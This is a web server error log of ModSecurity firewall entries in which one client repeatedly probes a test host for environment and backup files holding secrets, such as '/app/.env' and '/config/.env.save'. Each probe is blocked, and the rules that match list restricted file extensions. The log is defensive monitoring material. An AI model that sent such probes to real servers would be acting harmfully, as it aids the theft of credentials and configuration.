[Thu Oct 30 20:06:41.539727 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3QZdseHRrfd8_FeKIZQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:41.540049 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3QZdseHRrfd8_FeKIZQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:41.540277 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3QZdseHRrfd8_FeKIZQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.044625 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.044826 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.045077 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.045312 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.548947 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.549142 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.549390 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:42.549618 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3QpdseHRrfd8_FeKIZwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.053813 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.054101 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.054297 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.668685 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.668939 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:43.669130 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3Q5dseHRrfd8_FeKIaQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.174650 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIagAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.174846 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIagAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.175091 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIagAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.175296 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIagAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.679225 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIawAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.679422 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIawAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.679661 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIawAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:44.679869 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3RJdseHRrfd8_FeKIawAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:45.183646 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:45.183915 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:45.184117 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:45.691088 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbQAAAAY&quot;], referer: https://www.google.com/
